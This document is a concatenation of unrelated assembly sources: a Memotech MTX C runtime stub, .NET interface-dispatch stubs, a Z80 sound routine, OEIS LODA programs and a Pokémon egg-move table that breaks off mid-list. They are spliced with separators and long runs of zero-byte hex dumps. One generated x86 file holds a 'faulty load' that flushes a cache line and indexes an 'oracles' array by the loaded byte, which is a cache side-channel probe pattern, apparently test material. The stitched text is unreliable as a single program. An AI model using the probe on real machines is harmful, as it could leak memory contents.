00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; Memotech MTX CRT0 stub
;
; $Id: mtx_crt0.asm,v 1.15 2016-07-15 21:03:25 dom Exp $
;
MODULE mtx_crt0
;--------
; Include zcc_opt.def to find out some info
;--------
defc crt0 = 1
INCLUDE "zcc_opt.def"
;--------
; Some scope definitions
;--------
EXTERN _main ; main() is always external to crt0 code
PUBLIC cleanup ; jp'd to by exit()
PUBLIC l_dcal ; jp(hl)
; SEGA and MSX specific
PUBLIC msxbios
;--------
; Set an origin for the application (-zorg=) default to 32768
;--------
IF !DEFINED_CRT_ORG_CODE
IF (startup=2) ; Attempt to use 48k on the MTX512
defc CRT_ORG_CODE = 16384+19
ELSE
defc CRT_ORG_CODE = 32768+19
ENDIF
ENDIF
defc CONSOLE_ROWS = 24
defc CONSOLE_COLUMNS = 80
defc TAR__clib_exit_stack_size = 32
defc TAR__register_sp = -0xfa96
defc __CPU_CLOCK = 4000000
INCLUDE "crt/classic/crt_rules.inc"
IF !DEFINED_CLIB_RS232_PORT_B
IF !DEFINED_CLIB_RS232_PORT_A
defc DEFINED_CLIB_RS232_PORT_A = 1
ENDIF
ENDIF
INCLUDE "target/mtx/def/mtxserial.def"
org CRT_ORG_CODE
start:
INCLUDE "crt/classic/crt_init_sp.asm"
INCLUDE "crt/classic/crt_init_atexit.asm"
ld (start1+1),sp ; Save entry stack
call crt0_init_bss
ld (exitsp),sp
; Optional definition for auto MALLOC init
; it assumes we have free space between the end of
; the compiled program and the stack pointer
IF DEFINED_USING_amalloc
INCLUDE "crt/classic/crt_init_amalloc.asm"
ENDIF
call _main ; Call user program
cleanup:
;
; Deallocate memory which has been allocated here!
;
push hl ; return code
call crt0_exit
cleanup_exit:
pop bc ; return code (still not sure it is teh right one !)
start1: ld sp,0 ;Restore stack to entry value
ret
l_dcal: jp (hl) ;Used for function pointer calls
; ---------------
; MSX specific stuff
; ---------------
; Safe BIOS call
msxbios:
push ix
ret
INCLUDE "crt/classic/crt_runtime_selection.asm"
INCLUDE "crt/classic/crt_section.asm"
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
include AsmMacros.inc
ifdef FEATURE_CACHED_INTERFACE_DISPATCH
EXTERN RhpCidResolve : PROC
EXTERN RhpUniversalTransition_DebugStepTailCall : PROC
;; Macro that generates code to check a single cache entry.
CHECK_CACHE_ENTRY macro entry
NextLabel textequ @CatStr( Attempt, %entry+1 )
cmp rax, [r11 + OFFSETOF__InterfaceDispatchCache__m_rgEntries + (entry * 16)]
jne NextLabel
jmp qword ptr [r11 + OFFSETOF__InterfaceDispatchCache__m_rgEntries + (entry * 16) + 8]
NextLabel:
endm
;; Macro that generates a stub consuming a cache with the given number of entries.
DEFINE_INTERFACE_DISPATCH_STUB macro entries
StubName textequ @CatStr( RhpInterfaceDispatch, entries )
StubAVLocation textequ @CatStr( RhpInterfaceDispatchAVLocation, entries )
LEAF_ENTRY StubName, _TEXT
;EXTERN CID_g_cInterfaceDispatches : DWORD
;inc [CID_g_cInterfaceDispatches]
;; r10 currently contains the indirection cell address.
;; load r11 to point to the cache block.
mov r11, [r10 + OFFSETOF__InterfaceDispatchCell__m_pCache]
;; Load the MethodTable from the object instance in rcx.
ALTERNATE_ENTRY StubAVLocation
mov rax, [rcx]
CurrentEntry = 0
while CurrentEntry lt entries
CHECK_CACHE_ENTRY %CurrentEntry
CurrentEntry = CurrentEntry + 1
endm
;; r10 still contains the the indirection cell address.
jmp RhpInterfaceDispatchSlow
LEAF_END StubName, _TEXT
endm ;; DEFINE_INTERFACE_DISPATCH_STUB
;; Define all the stub routines we currently need.
;;
;; The mrt100dbi requires these be exported to identify mrt100 code that dispatches back into managed.
;; If you change or add any new dispatch stubs, please also change slr.def and dbi\process.cpp CordbProcess::GetExportStepInfo
;;
;; If you change or add any new dispatch stubs, exception handling might need to be aware because it refers to the
;; *AVLocation symbols defined by the dispatch stubs to be able to unwind and blame user code if a NullRef happens
;; during the interface dispatch.
;;
DEFINE_INTERFACE_DISPATCH_STUB 1
DEFINE_INTERFACE_DISPATCH_STUB 2
DEFINE_INTERFACE_DISPATCH_STUB 4
DEFINE_INTERFACE_DISPATCH_STUB 8
DEFINE_INTERFACE_DISPATCH_STUB 16
DEFINE_INTERFACE_DISPATCH_STUB 32
DEFINE_INTERFACE_DISPATCH_STUB 64
;; Stub dispatch routine for dispatch to a vtable slot
LEAF_ENTRY RhpVTableOffsetDispatch, _TEXT
;; r10 currently contains the indirection cell address.
;; load rax to point to the vtable offset (which is stored in the m_pCache field).
mov rax, [r10 + OFFSETOF__InterfaceDispatchCell__m_pCache]
;; Load the MethodTable from the object instance in rcx, and add it to the vtable offset
;; to get the address in the vtable of what we want to dereference
add rax, [rcx]
;; Load the target address of the vtable into rax
mov rax, [rax]
TAILJMP_RAX
LEAF_END RhpVTableOffsetDispatch, _TEXT
;; Initial dispatch on an interface when we don't have a cache yet.
LEAF_ENTRY RhpInitialInterfaceDispatch, _TEXT
ALTERNATE_ENTRY RhpInitialDynamicInterfaceDispatch
;; Trigger an AV if we're dispatching on a null this.
;; The exception handling infrastructure is aware of the fact that this is the first
;; instruction of RhpInitialInterfaceDispatch and uses it to translate an AV here
;; to a NullReferenceException at the callsite.
cmp byte ptr [rcx], 0
;; Just tail call to the cache miss helper.
jmp RhpInterfaceDispatchSlow
LEAF_END RhpInitialInterfaceDispatch, _TEXT
;; Cache miss case, call the runtime to resolve the target and update the cache.
;; Use universal transition helper to allow an exception to flow out of resolution
LEAF_ENTRY RhpInterfaceDispatchSlow, _TEXT
;; r10 contains indirection cell address, move to r11 where it will be passed by
;; the universal transition thunk as an argument to RhpCidResolve
mov r11, r10
lea r10, RhpCidResolve
jmp RhpUniversalTransition_DebugStepTailCall
LEAF_END RhpInterfaceDispatchSlow, _TEXT
endif ;; FEATURE_CACHED_INTERFACE_DISPATCH
end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x5cb3, %rbx
dec %rdx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm2
and $0xffffffffffffffc0, %rbx
vmovntdq %ymm2, (%rbx)
nop
nop
sub %rbp, %rbp
lea addresses_D_ht+0x13865, %rsi
lea addresses_WT_ht+0x5869, %rdi
nop
nop
nop
nop
nop
cmp $5939, %r13
mov $36, %rcx
rep movsb
nop
nop
nop
cmp $46757, %rbp
lea addresses_WT_ht+0x1c5c9, %rbp
nop
nop
inc %rbx
movb (%rbp), %cl
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x95c9, %rdx
nop
nop
nop
nop
nop
add $29557, %rcx
mov (%rdx), %di
nop
nop
nop
and $52056, %rbx
lea addresses_WC_ht+0x1a7c9, %rsi
lea addresses_normal_ht+0x1bc9, %rdi
clflush (%rsi)
and %r10, %r10
mov $12, %rcx
rep movsb
xor %rdx, %rdx
lea addresses_D_ht+0xfe51, %rsi
lea addresses_UC_ht+0x1a7c9, %rdi
nop
nop
nop
add $34676, %r10
mov $112, %rcx
rep movsw
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0xf7c9, %rsi
nop
nop
nop
add %rbp, %rbp
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
mfence
lea addresses_WC_ht+0x49a2, %rbp
nop
add %r13, %r13
movw $0x6162, (%rbp)
nop
nop
nop
nop
add $29231, %rdi
lea addresses_WT_ht+0x149c9, %rsi
lea addresses_WC_ht+0xe7c9, %rdi
nop
nop
nop
nop
nop
inc %rdx
mov $53, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $27076, %rcx
lea addresses_normal_ht+0x5569, %rcx
clflush (%rcx)
nop
add $40060, %rsi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm3
movups %xmm3, (%rcx)
add $47070, %rsi
lea addresses_UC_ht+0xc84d, %rdi
nop
nop
nop
nop
cmp %rcx, %rcx
movb (%rdi), %bl
nop
sub $64129, %r13
lea addresses_D_ht+0x17149, %rsi
lea addresses_A_ht+0x14bb9, %rdi
nop
nop
nop
and %rdx, %rdx
mov $71, %rcx
rep movsw
and %rbx, %rbx
lea addresses_normal_ht+0x1e0c9, %rbx
nop
xor $56284, %rbp
movw $0x6162, (%rbx)
inc %rdi
lea addresses_UC_ht+0x5c49, %rdx
nop
nop
nop
cmp %rbx, %rbx
movl $0x61626364, (%rdx)
nop
nop
nop
and $45092, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %rax
push %rdi
push %rdx
push %rsi
// Faulty Load
mov $0x7989cc0000000fc9, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub %rsi, %rsi
mov (%rdi), %r10d
lea oracles, %rsi
and $0xff, %r10
shlq $12, %r10
mov (%rsi,%r10,1), %r10
pop %rsi
pop %rdx
pop %rdi
pop %rax
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 9}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'dst': {'same': True, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 2}}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 7}, 'OP': 'STOR'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; $Id: bit_synth.asm,v 1.3 2016-06-16 20:23:52 dom Exp $
;
; void bit_synth(int duration, int frequency1, int frequency2, int frequency3, int frequency4);
;
; Generic platform sound library.
; synthetizer - this is a sort of "quad sound" routine.
; It is based on 4 separate counters and a delay.
; Depending on the parameters being passed it is able to play
; on two audible voices, to generate sound effects and to play
; with a single voice having odd waveforms.
;
; The parameters are passed with a self modifying code trick :o(
; This routine shouldn't stay in contended memory locations !!
;
SECTION code_clib
PUBLIC bit_synth
PUBLIC _bit_synth
INCLUDE "games/games.inc"
EXTERN bit_open_di
EXTERN bit_close_ei
.bit_synth
._bit_synth
push ix ;save callers ix
ld ix,4
add ix,sp
ld a,(ix+8)
ld (LEN+1),a
ld a,(ix+6)
and a
jr z,FR1_blank
ld (FR_1+1),a
ld a,sndbit_mask
.FR1_blank
ld (FR1_tick+1),a
ld a,(ix+4)
and a
jr z,FR2_blank
ld (FR_2+1),a
ld a,sndbit_mask
.FR2_blank
ld (FR2_tick+1),a
ld a,(ix+2)
and a
jr z,FR3_blank
ld (FR_3+1),a
ld a,sndbit_mask
.FR3_blank
ld (FR1_tick+1),a
ld a,(ix+0)
and a
jr z,FR4_blank
ld (FR_4+1),a
ld a,sndbit_mask
.FR4_blank
ld (FR1_tick+1),a
call bit_open_di
ld h,1
ld l,h
ld d,h
ld e,h
.LEN
ld b,50
.loop
ld c,4
.loop2
dec h
jr nz,jump
.FR1_tick
xor sndbit_mask
;-----
out (255),a
jp z,isz
ex af,af
in a,(254)
ex af,af
.isz
;-----
.FR_1
ld h,80
.jump
dec l
jr nz,jump2
.FR2_tick
xor sndbit_mask
;-----
out (255),a
jp z,isz2
ex af,af
in a,(254)
ex af,af
.isz2
;-----
.FR_2
ld l,81
.jump2
dec d
jr nz,jump3
.FR3_tick
xor sndbit_mask
;-----
out (255),a
jp z,isz3
ex af,af
in a,(254)
ex af,af
.isz3
;-----
.FR_3
ld d,162
.jump3
dec e
jr nz,loop2
.FR4_tick
xor sndbit_mask
;-----
out (255),a
jp z,isz4
ex af,af
in a,(254)
ex af,af
.isz4
;-----
.FR_4
ld e,163
dec c
jr nz,loop2
djnz loop
call bit_close_ei
pop ix ;restore callers
ret
|
; A004497: Tersum n + 8.
; Submitted by Jamie Morken(s1)
; 8,6,7,2,0,1,5,3,4,17,15,16,11,9,10,14,12,13,26,24,25,20,18,19,23,21,22,35,33,34,29,27,28,32,30,31,44,42,43,38,36,37,41,39,40,53,51,52,47,45,46,50,48,49,62,60,61,56
seq $0,4483 ; Tersum n + 2.
seq $0,4495 ; Tersum n + 6.
|
; A122657: a(n) = if n mod 2 = 1 then (n^2-1)*n^3/4 else n^5/4.
; 0,0,8,54,256,750,1944,4116,8192,14580,25000,39930,62208,92274,134456,189000,262144,353736,472392,617310,800000,1018710,1288408,1606044,1990656,2437500,2970344,3582306,4302592,5121690,6075000,7149840,8388608,9774864,11358856
mov $1,$0
pow $1,2
mul $0,$1
div $1,4
mul $0,$1
|
; A099407: Number of points of self-intersection of the path of a billiard ball traveling at a 45-degree angle on a prime(n) X prime(n+1) billiard table. Also equal to 1/2 the number of the lattice points lying within a prime(n) X prime(n+1) rectangle.
; 1,4,12,30,60,96,144,198,308,420,540,720,840,966,1196,1508,1740,1980,2310,2520,2808,3198,3608,4224,4800,5100,5406,5724,6048,7056,8190,8840,9384,10212,11100,11700,12636,13446,14276,15308,16020,17100,18240,18816,19404,20790,23310,25086,25764,26448,27608,28560,30000,32000,33536,35108,36180,37260,38640,39480,41172,44676,47430,48360,49296,52140,55440,58128,60204,61248,63008,65514,68076,70308,72198,74108,76824,79200,81600,85272,87780,90300,92880,94608,96798,99008,102144,104880,106260,107646,111374,116154,119070,122010,124998,127508,132080,135720,140940,147420
seq $0,40 ; The prime numbers.
seq $0,13636 ; n*nextprime(n).
mov $1,$0
seq $1,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).
sub $0,$1
div $0,2
add $0,1
|
SECTION "Egg Moves 2", ROMX
EggMovePointers2::
dw ChikoritaEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw CyndaquilEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw TotodileEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw SentretEggMoves
dw NoEggMoves2
dw HoothootEggMoves
dw NoEggMoves2
dw LedybaEggMoves
dw NoEggMoves2
dw SpinarakEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw ChinchouEggMoves
dw NoEggMoves2
dw PichuEggMoves
dw CleffaEggMoves
dw IgglybuffEggMoves
dw TogepiEggMoves
dw NoEggMoves2
dw NatuEggMoves
dw NoEggMoves2
dw MareepEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw NoEggMoves2
dw MarillEggMoves
dw NoEggMoves2
dw SudowoodoEggMoves
dw NoEggMoves2
dw HoppipEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw AipomEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw YanmaEggMoves
dw WooperEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw NoEggMoves2
dw MurkrowEggMoves
dw NoEggMoves2
dw MisdreavusEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw GirafarigEggMoves
dw PinecoEggMoves
dw NoEggMoves2
dw DunsparceEggMoves
dw GligarEggMoves
dw NoEggMoves2
dw SnubbullEggMoves
dw NoEggMoves2
dw QwilfishEggMoves
dw NoEggMoves2
dw ShuckleEggMoves
dw HeracrossEggMoves
dw SneaselEggMoves
dw TeddiursaEggMoves
dw NoEggMoves2
dw SlugmaEggMoves
dw NoEggMoves2
dw SwinubEggMoves
dw NoEggMoves2
dw CorsolaEggMoves
dw RemoraidEggMoves
dw NoEggMoves2
dw DelibirdEggMoves
dw MantineEggMoves
dw SkarmoryEggMoves
dw HoundourEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw PhanpyEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw StantlerEggMoves
dw NoEggMoves2
dw TyrogueEggMoves
dw NoEggMoves2
dw SmoochumEggMoves
dw ElekidEggMoves
dw MagbyEggMoves
dw MiltankEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw NoEggMoves2
dw NoEggMoves2
dw LarvitarEggMoves
dw NoEggMoves2
dw NoEggMoves2
dw NoEggMoves2
dw NoEggMoves2
dw NoEggMoves2
dw SwabluEggMoves
dw NoEggMoves2
ChikoritaEggMoves:
dw VINE_WHIP
dw LEECH_SEED
dw COUNTER
dw ANCIENTPOWER
dw FLAIL
dw SWORDS_DANCE
dw -1 ; end
CyndaquilEggMoves:
dw FURY_SWIPES
dw QUICK_ATTACK
dw REVERSAL
dw THRASH
dw FORESIGHT
dw SUBMISSION
dw -1 ; end
TotodileEggMoves:
dw CRUNCH
dw THRASH
dw HYDRO_PUMP
dw ANCIENTPOWER
dw RAZOR_WIND
dw ROCK_SLIDE
dw -1 ; end
SentretEggMoves:
dw DOUBLE_EDGE
dw PURSUIT
dw SLASH
dw FOCUS_ENERGY
dw REVERSAL
dw -1 ; end
HoothootEggMoves:
dw MIRROR_MOVE
dw SUPERSONIC
dw FAINT_ATTACK
dw WING_ATTACK
dw WHIRLWIND
dw SKY_ATTACK
dw -1 ; end
LedybaEggMoves:
dw PSYBEAM
dw BIDE
dw LIGHT_SCREEN
dw -1 ; end
SpinarakEggMoves:
dw PSYBEAM
dw DISABLE
dw SONICBOOM
dw BATON_PASS
dw PURSUIT
dw -1 ; end
ChinchouEggMoves:
dw FLAIL
dw SUPERSONIC
dw SCREECH
dw -1 ; end
PichuEggMoves:
dw REVERSAL
dw BIDE
dw PRESENT
dw ENCORE
dw DOUBLESLAP
dw -1 ; end
CleffaEggMoves:
dw PRESENT
dw METRONOME
dw AMNESIA
dw BELLY_DRUM
dw SPLASH
dw MIMIC
dw -1 ; end
IgglybuffEggMoves:
dw PERISH_SONG
dw PRESENT
dw FAINT_ATTACK
dw -1 ; end
TogepiEggMoves:
dw PRESENT
dw MIRROR_MOVE
dw PECK
dw FORESIGHT
dw FUTURE_SIGHT
dw -1 ; end
NatuEggMoves:
dw HAZE
dw DRILL_PECK
dw QUICK_ATTACK
dw FAINT_ATTACK
dw STEEL_WING
dw -1 ; end
MareepEggMoves:
dw THUNDERBOLT
dw TAKE_DOWN
dw BODY_SLAM
dw SAFEGUARD
dw SCREECH
dw REFLECT
dw -1 ; end
MarillEggMoves:
dw LIGHT_SCREEN
dw PRESENT
dw AMNESIA
dw FUTURE_SIGHT
dw BELLY_DRUM
dw PERISH_SONG
dw SUPERSONIC
dw FORESIGHT
dw -1 ; end
SudowoodoEggMoves:
dw SELFDESTRUCT
dw -1 ; end
HoppipEggMoves:
dw CONFUSION
dw GROWL
dw ENCORE
dw DOUBLE_EDGE
dw REFLECT
dw AMNESIA
dw PAY_DAY
dw -1 ; end
AipomEggMoves:
dw COUNTER
dw SCREECH
dw PURSUIT
dw AGILITY
dw SPITE
dw SLAM
dw DOUBLESLAP
dw BEAT_UP
dw -1 ; end
YanmaEggMoves:
dw WHIRLWIND
dw REVERSAL
dw LEECH_LIFE
dw -1 ; end
WooperEggMoves:
dw BODY_SLAM
dw ANCIENTPOWER
dw SAFEGUARD
dw -1 ; end
MurkrowEggMoves:
dw WHIRLWIND
dw DRILL_PECK
dw QUICK_ATTACK
dw MIRROR_MOVE
dw WING_ATTACK
dw SKY_ATTACK
dw -1 ; end
MisdreavusEggMoves:
dw SCREECH
dw DESTINY_BOND
dw -1 ; end
GirafarigEggMoves:
dw TAKE_DOWN
dw AMNESIA
dw FORESIGHT
dw FUTURE_SIGHT
dw BEAT_UP
dw -1 ; end
PinecoEggMoves:
dw REFLECT
dw PIN_MISSILE
dw FLAIL
dw SWIFT
dw -1 ; end
DunsparceEggMoves:
dw BIDE
dw ANCIENTPOWER
dw ROCK_SLIDE
dw BITE
dw RAGE
dw -1 ; end
GligarEggMoves:
dw METAL_CLAW
dw WING_ATTACK
dw RAZOR_WIND
dw COUNTER
dw -1 ; end
SnubbullEggMoves:
dw METRONOME
dw FAINT_ATTACK
dw REFLECT
dw PRESENT
dw CRUNCH
dw HEAL_BELL
dw LICK
dw LEER
dw -1 ; end
QwilfishEggMoves:
dw FLAIL
dw HAZE
dw BUBBLEBEAM
dw SUPERSONIC
dw -1 ; end
ShuckleEggMoves:
dw SWEET_SCENT
dw -1 ; end
HeracrossEggMoves:
dw HARDEN
dw BIDE
dw FLAIL
dw -1 ; end
SneaselEggMoves:
dw COUNTER
dw SPITE
dw FORESIGHT
dw REFLECT
dw BITE
dw -1 ; end
TeddiursaEggMoves:
dw CRUNCH
dw TAKE_DOWN
dw SEISMIC_TOSS
dw FOCUS_ENERGY
dw COUNTER
dw METAL_CLAW
dw -1 ; end
SlugmaEggMoves:
dw ACID_ARMOR
dw -1 ; end
SwinubEggMoves:
dw TAKE_DOWN
dw BITE
dw BODY_SLAM
dw ROCK_SLIDE
dw ANCIENTPOWER
dw -1 ; end
CorsolaEggMoves:
dw ROCK_SLIDE
dw SAFEGUARD
dw SCREECH
dw MIST
dw AMNESIA
dw -1 ; end
RemoraidEggMoves:
dw AURORA_BEAM
dw OCTAZOOKA
dw SUPERSONIC
dw HAZE
dw SCREECH
dw -1 ; end
DelibirdEggMoves:
dw AURORA_BEAM
dw QUICK_ATTACK
dw FUTURE_SIGHT
dw SPLASH
dw RAPID_SPIN
dw -1 ; end
MantineEggMoves:
dw TWISTER
dw HYDRO_PUMP
dw HAZE
dw SLAM
dw -1 ; end
SkarmoryEggMoves:
dw DRILL_PECK
dw PURSUIT
dw WHIRLWIND
dw SKY_ATTACK
dw -1 ; end
HoundourEggMoves:
dw FIRE_SPIN
dw RAGE
dw PURSUIT
dw COUNTER
dw SPITE
dw REVERSAL
dw BEAT_UP
dw -1 ; end
PhanpyEggMoves:
dw FOCUS_ENERGY
dw BODY_SLAM
dw ANCIENTPOWER
dw WATER_GUN
dw -1 ; end
StantlerEggMoves:
dw REFLECT
dw SPITE
dw DISABLE
dw LIGHT_SCREEN
dw BITE
dw -1 ; end
TyrogueEggMoves:
dw RAPID_SPIN
dw HI_JUMP_KICK
dw MACH_PUNCH
dw MIND_READER
dw -1 ; end
SmoochumEggMoves:
dw MEDITATE
dw -1 ; end
ElekidEggMoves:
dw KARATE_CHOP
dw BARRIER
dw ROLLING_KICK
dw MEDITATE
dw CROSS_CHOP
dw -1 ; end
MagbyEggMoves:
dw KARATE_CHOP
dw MEGA_PUNCH
dw BARRIER
dw SCREECH
dw CROSS_CHOP
dw -1 ; end
MiltankEggMoves:
dw PRESENT
dw REVERSAL
dw SEISMIC_TOSS
dw -1 ; end
LarvitarEggMoves:
dw PURSUIT
dw STOMP
dw OUTRAGE
dw FOCUS_ENERGY
dw ANCIENTPOWER
dw -1; end
SwabluEggMoves:
dw HAZE
dw RAGE
